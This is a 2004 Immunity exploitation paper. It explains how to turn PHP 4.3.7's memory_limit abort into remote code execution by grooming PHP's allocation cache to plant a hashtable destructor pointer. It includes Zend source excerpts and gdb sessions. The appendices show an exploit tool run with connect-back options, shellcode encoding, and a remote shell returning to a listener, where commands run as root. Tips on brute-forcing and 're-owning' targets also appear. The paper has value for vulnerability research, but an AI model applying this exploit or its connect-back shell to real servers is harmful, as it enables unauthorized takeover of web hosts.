Exploiting the php <= 4.3.7 memory_limit bug

IMMUNITY

Bas Alberts

Aug 18, 2004

The bug

As outlined in Stefan Esser's advisory[1], php <= 4.3.7's memory_limit abort can be triggered in places where it's unsafe to do so. There's several positions in the php codebase where this problem can lead to arbitrary code execution.

The most prominent one is in zend_hash_init(), the function used to initialize internal PHP hashtables , which looks like:

Zend/zend_hash.c:

```
ZEND_API int zend_hash_init(HashTable *ht, uint nSize, hash_func_t
pHashFunction, dtor_func_t
pDestructor, int persistent)
{
        uint i = 3;

        SET_INCONSISTENT(HT_OK);

        while ((1U << i) < nSize) {
                i++;
        }

        ht->nTableSize = 1 << i;
        ht->nTableMask = ht->nTableSize - 1;

        /* Uses ecalloc() so that Bucket* == NULL */
        ht->arBuckets = (Bucket **) pecalloc(ht->nTableSize, sizeof(Bucket *),
persistent);

        if (!ht->arBuckets) {
                return FAILURE;
        }

        ht->pDestructor = pDestructor;
        ht->pListHead = NULL;
        ht->pListTail = NULL;
        ht->nNumOfElements = 0;
        ht->nNextFreeElement = 0;
        ht->pInternalPointer = NULL;
        ht->persistent = persistent;
        ht->nApplyCount = 0;
        ht->bApplyProtection = 1;
        return SUCCESS;
}
```

As you can see, there's a pecalloc (which results in a _ecalloc which in turns results in a _emalloc) call before critical members, such as the pDestructor function pointer, of the hashtable are actually initialized. If one were able to trigger the memory_limit zend_error request shutdown during the initialization of a global array or object hashtable (by global I mean one that is actually destructed during request shutdown) based on php caching one would be able to fairly reliably supply your own pDestructor function pointer.

The exploit

Now this bug had a fair amount of quirks before it could be reached in a reliable way. As mentioned by Esser there's only a limited amount of zend_hash_init calls on hashtables that actually get destructed on request shutdown. The most common situation is where register_globals = On in php.ini. This will ensure a looping call to php_autoglobal_merge of the so-called P variables (POST). Now this alone doesn't mean your home yet. We require a php_autoglobal_merge call on a POST var that is designated as type IS_ARRAY, this will in turn get the SEPARATE_ZVAL macro called which looks like:

Zend/zend.h:

```
#define SEPARATE_ZVAL(ppzv)\
        {\
                zval *orig_ptr = *(ppzv);\
                if (orig_ptr->refcount>1) {\
                    orig_ptr->refcount--;\
                        ALLOC_ZVAL(*(ppzv));\
                        **(ppzv) = *orig_ptr;\
                        zval_copy_ctor(*(ppzv));\
                        (*(ppzv))->refcount=1;\
                        (*(ppzv))->is_ref = 0;\
                }\
        }\
```

Which in turn has a call to _zval_copy_ctor() which contains:

Zend/zend_variables.c:

```
ZEND_API int _zval_copy_ctor(zval *zvalue ZEND_FILE_LINE_DC)
{
        switch (zvalue->type) {

...

                case IS_ARRAY:
                case IS_CONSTANT_ARRAY: {
                                zval *tmp;
                                HashTable *original_ht = zvalue->value.ht;
                                TSRMLS_FETCH();

                                if (zvalue->value.ht == &EG(symbol_table)) {
                                        return SUCCESS; /* do nothing */
                                }
                                ALLOC_HASHTABLE_REL(zvalue->value.ht);
                                zend_hash_init(zvalue->value.ht, 0, NULL,
ZVAL_PTR_DTOR, 0);
                                zend_hash_copy(zvalue->value.ht, original_ht,
(copy_ctor_func_t)
zval_add_ref, (void *) &tmp, sizeof(
zval *));
                        }
```

...

Now the ALLOC_HASHTABLE_REL call is basically a malloc wrapper that initialises the zvalue->value.ht (hashtable) pointer to point to a newly alloced hashtable space. This is important because in this case we are operating on an already initialized zvalue, which means this hashtable will be destructed on request shutdown even if we trigger the memory_limit_abort in zend_hash_init, as opposed to the hash init that occurs in _array_init().

The above is the main issue to discover. Once you realize there's a very limited supply of zend_hash_init's you can actually abuse, the game becomes ensuring those zend_hash_init's occur in the first place. In this case it requires a little "trick" where one requests a POST like "index.php?array[]" and repeats this same array[] var in the consequential POST var feed. This ensures that we get an IS_ARRAY type in the P php_autoglobal_merge loop (which is only triggered if register_globals is turned on)

It's important to note the way php does it's memory allocation. It has an internal caching system for small memory blocks. So say a 40 byte block is free'd: it will be released into php's own cache and the next time an emalloc(40) is called, it will retrieve the old cached block from cache instead of initiating a new malloc.

Now it's very tempting to try and exploit this bug in multipart/form data based on boundary split var blocks. However if we try and reach the memory_limit through this we get handled by SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) which returns with the SAFE_RETURN macro, which looks like:

main/rfc1867.c:

```
    #define SAFE_RETURN { \
    php_mb_flush_gpc_variables(num_vars, val_list, len_list, array_ptr
TSRMLS_CC); \
        if (lbuf) efree(lbuf); \
        if (abuf) efree(abuf); \
        if (array_index) efree(array_index); \
        zend_hash_destroy(&PG(rfc1867_protected_variables)); \
        zend_llist_destroy(&header); \
        if (mbuff->boundary_next) efree(mbuff->boundary_next); \
        if (mbuff->boundary) efree(mbuff->boundary); \
        if (mbuff->buffer) efree(mbuff->buffer); \
        if (mbuff) efree(mbuff); \
        return; }
```

This bonzai buddy releases a 32-ish byte block into memory cache at efree(mbuff) just before we would handle our offending zend_hash_init call. What this means is that this will frustrate any attempts to trigger INSIDE zend_hash_init as it will merrilly eat it's 32 byte alloc out of cache and actually trigger post-init, which is no good to us. This was a very frustrating little problem and resulted in rethinking the approach and going for a url-encoded POST var feed.

Now the goal is to reliably eat php memory so that we're allocated just under or equal to memory_limit (8388608 in most cases, 8M) before the P autoglobal_merge loop based _zval_copy_ctor hash init. Ideally we want the ALLOC_HASHTABLE_REL (which allocs a 40 byte block) to alloc memory that we previously controlled. This means we have to ensure there's a bunch of 40 byte blocks released into cache with data we control. We can do just that in our variable feed, so this meant we were able to reliably supply our own hashtable from memory cache. So caching turned out to be both a curse and a blessing for hitting the money for this bug.

The money

When it all comes together we use a deterministic POST url-encoded var feed to make an allocation up to 8388608 (8M) or slightly less bytes before the ALLOC_HASHTABLE_REL call. Now without any special memleak this is an investment of about 2.5 megabytes of data, which is in itself not too bad. Once we get to the actual P autoglobal_merge _zval_copy_ctor on our IS_ARRAY var's hashtable init, the pecalloc call will turn into a _emalloc(32) call. This will trigger the memory_limit abort (provided we made sure we did not cache any 32 byte blocks) and will in turn trigger the request shutdown through zend_error. On request shutdown through _zval_ptr_dtor and subsequently _zval_dtor we'll end up here:

Zend/zend_variables.c:

```
...

ZEND_API void _zval_dtor(zval *zvalue ZEND_FILE_LINE_DC)
{
        if (zvalue->type==IS_LONG) {
                return;
        }
        switch(zvalue->type & ~IS_CONSTANT_INDEX) {

...

                case IS_ARRAY:
                case IS_CONSTANT_ARRAY: {
                                TSRMLS_FETCH();

                                if (zvalue->value.ht && (zvalue->value.ht !=
&EG(symbol_table))) {
                                        zend_hash_destroy(zvalue->value.ht);
                                        FREE_HASHTABLE(zvalue->value.ht);
                                }
                        }

...
```

This calls zend_hash_destroy on our user-data initialized hashtable which looks like:

Zend/zend_hash.c:

```
ZEND_API void zend_hash_destroy(HashTable *ht)
{
        Bucket *p, *q;
        FILE *f;

        p = ht->pListHead;
        while (p != NULL) {
                q = p;
                p = p->pListNext;
                if (ht->pDestructor) {
                        ht->pDestructor(q->pData);
                }
                if (!q->pDataPtr && q->pData) {
                        pefree(q->pData, ht->persistent);
                }
                pefree(q, ht->persistent);
        }
        pefree(ht->arBuckets, ht->persistent);

        SET_INCONSISTENT(HT_DESTROYED);
}
```

As you can see there's a ht->pDestructor call, which in this case, we supplied.

Game over. We win[2].

--
Immunity, Inc. -- August / 2004

<u>References:</u>

[1] http://security.e-matters.de/advisories/112004.html

<u>Appendices</u>

[2] Example exploit run versus Apache 1.3.31 + php 4.3.7 on slackware 9.

A) MOSDEF listening:

```
$ ./commandlineInterface.py -p1234 -v3
Running command line interface v 1.0
Copywrite Dave Aitel
```

B) Running the exploit:

```
$ ./phpx.py -v1 -tvmware -fwelcome.php -L192.168.0.2 -P1234
Using payload for type: Linux IA32 : slackware 9 / Apache 1.3.31 / PHP 4.3.7
Encoding shellcode
Size of chunk is 43 key is 0x10740674
Size of chunk is 2 key is 0x1b67fd1b
Encoder is Splitting: 21ad3590
Split 21ad3590 into f8a78a47:2905ab49
Shellcode length: 179
Setting alloc pattern: Linux IA32 : slackware 9 / Apache 1.3.31 / PHP 4.3.7
2M (2327987)
##
#
Targeting: Linux IA32 : slackware 9 / Apache 1.3.31 / PHP 4.3.7 @ vmware:80
Connectback values: 192.168.0.2:1234
setting: 40365855 as junk ptr
setting: 40365954 as pDestructor
#################################################
$
```

C) Watching MOSDEF in action (note: root due to debugging compile)

```
$ ./commandlineInterface.py -p1234 -v3
Running command line interface v 1.0
Copywrite Dave Aitel
Connected to by ('192.168.0.6', 32773)
Connected, Linux MOSDEF ...
Initialized sendint with fd=1
Self.fd=3
Set up Linux dynamic linking assembly component server
Initialized sendint with fd=3
Initialized Local Functions.
Resetting signal handlers...
Reset sigchild
Getting UID
Letting user interact with server
Command:
id
UID=0 EUID=0 GID=0 EGID=0
Command:
uname -a
Defaulting to run command: uname -a
Linux vmware 2.4.20 #20 Mon Mar 17 22:55:24 PST 2003 i686 unknown

Command:
echo MOST DEFINITELY!
Defaulting to run command: echo MOST DEFINITELY!
MOST DEFINITELY!

Command:
```

NOTE: On success you'll want to exit the owned process after you're done with it, otherwise it'll hang around forever. This also facilitates better re-owning.

[3] Debugging the exploit

To successfully debug this exploit, you'll want to keep track of every emalloc and efree in php and how they affect AG(allocated_memory) up to the critical point. You can do this via gdb script, or by patching the php source for your target platform to debug the target. Stefan Esser supplied a set of memory allocation patches for PHP that do just that in a post to the php-dev mailinglist. You can acquire those patches at: security.e-matters.de/mlxdebug.tgz.

You can fairly reliably switch between httpd debugging in -X mode and actual operation mode as far as this exploit is concerned, so the preferred method of debugging is in standalone operation from gdb. Note that Apache can be a bit annoying to debug due to ptrace sucking on attaching to priv dropped children due to not setting the dumpable flag for priv dropped processes which have new uid != old uid. I usually just keep the setuid calls at zero for the priv drop via a small hack in the Apache source (http_main.c, line 4394 for Apache 1.3.31 on Linux). I believe there's also a kernel patch available which addresses this issue.

You'll want to break on the first hash_init following the first zval_copy_ctor. Once you arrive there, you'll want to checkout the AG(allocated_memory) value up to that point. The goal is to have a (8388608-31) to 8388608 amount of memory allocated at this point.

```
(gdb) r -X -d /www
Starting program: /www/bin/httpd -X -d /www
```

```
Program received signal SIGINT, Interrupt.
0x401706c2 in accept () from /lib/libc.so.6
(gdb) break _zval_copy_ctor
Breakpoint 1 at 0x402b5170: file /home/bas/phpx/php-
4.3.7/Zend/zend_variables.c, line 91.
(gdb) set $a=0
(gdb) commands
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>set $a=1
>c
>end
(gdb) break zend_hash_init if $a
Breakpoint 2 at 0x402b9ad1: file /home/bas/phpx/php-4.3.7/Zend/zend_hash.c,
line 180.
(gdb) commands
Type commands for when breakpoint 2 is hit, one per line.
End with a line saying just "end".
>set $a=0
>end
(gdb) c
Continuing.
```

At this point we trigger with our exploit:

```
$ ./phpx.py -v1 -tvmware -fwelcome.php -L192.168.0.2 -P1234
Using payload for type: Linux IA32 : slackware 9 / Apache 1.3.31 / PHP 4.3.7
Encoding shellcode
Size of chunk is 41 key is 0x78bc1109
Size of chunk is 4 key is 0x1b67fd1b
Encoder is Splitting: 21ad3590
Split 21ad3590 into 1e5fa28d:34d9303
Shellcode length: 179
Setting alloc pattern: Linux IA32 : slackware 9 / Apache 1.3.31 / PHP 4.3.7
2M (2327987)
##
#
Targeting: Linux IA32 : slackware 9 / Apache 1.3.31 / PHP 4.3.7 @ vmware:80
Connectback values: 192.168.0.2:1234
setting: 40365855 as junk ptr
setting: 40365954 as pDestructor
##################################################
$
```

Note that the pDestructor value is our return address, we offset from the supplied return address to aquire a junk pointer to survive some pointer dereferences on certain hashtable values. We have about 2 megabytes worth of payload so you should be able to determine a fairly static return address pretty easily. Of course this can also be bruted, but at 2.5 megs per try you'll have to be a bit patient. We're still looking for a more convenient memory leak in php.

If all goes well and it doesn't trigger memory_limit abort before we reach our intended hash init we'll break:

```
Breakpoint 1, _zval_copy_ctor (zvalue=0x839b25c, __zend_filename=0x80fc0d8
"\\²9\b\02406@", __zend_lineno=137998940)
    at /home/bas/phpx/php-4.3.7/Zend/zend_variables.c:91
91              switch (zvalue->type) {

Breakpoint 2, zend_hash_init (ht=0x8108cdc, nSize=0, pHashFunction=0,
pDestructor=0x8108cdc, persistent=0)
    at /home/bas/phpx/php-4.3.7/Zend/zend_hash.c:180
180             f=fopen("/tmp/php_memlimit_debug","a");fprintf(f,"!!!
zend_hash_init(%X);\n",(long)ht);fclose(f);fflush(f);
(gdb)
```

Now if we check our memory alloc logs (using Esser's supplied patches in this case, with some additional info regarding reaching the proper hash_init) we see:

```
emalloc(12) (/main.c:1360/(null):0) -  allocated 8388600 restlimit 8 = 0839b25c
emalloc(40) (/main.c:1360//zend_variables.c:122) - cachehit = 08108cdc
```

This is the ideal situation. We're eating our hashtable out of cachespace we controlled and following that we can be sure zend_hash_init will trigger the memory_limit shutdown. The emalloc(40) you're seeing is the ALLOC_HASHTABLE_REL call mentioned in the paper.

```
(gdb) x/10x 0x08108cdc
0x8108cdc:      0x41414141      0x41414141      0x41414141      0x42424242
0x8108cec:      0x43434343      0x40365855      0x45454545      0x40365855
0x8108cfc:      0x40365954      0x00414141
(gdb)
```

We can verify payload is actually at our set pDestructor (the 9th dword):

```
(gdb) x/4x ht->pDestructor
0x40365954:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
```

To demonstrate how pDestructor is called we'll set a bogus value for a bit and continue.

```
(gdb) set ht->pDestructor=0x41424344
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)
```

As you can see this is the golden situation, and Apache would have jumped to our payload. Once you debug a memory pad through the size and amount of vars you can be assured that it's fairly static throughout similar versions and configurations of php. So your goal is to recreate this situation on the target you are debugging.

Things to consider are:

A) Are the Environment variables registered (not the case if php.ini-recommended was used as a configuration base.) If they are, you'll need to accommodate the environment size in your allocation calculations.

B) Is register_globals actually turned on in php.ini on the target host. (needed for this exploit)

C) What is the actual memory limit in php.ini (usually 8M)

Item B is a requirement to be able to trigger the hash_init we need. Because we're in a repeatable situation we can fairly reliably bruteforce any Env array size if we're so inclined.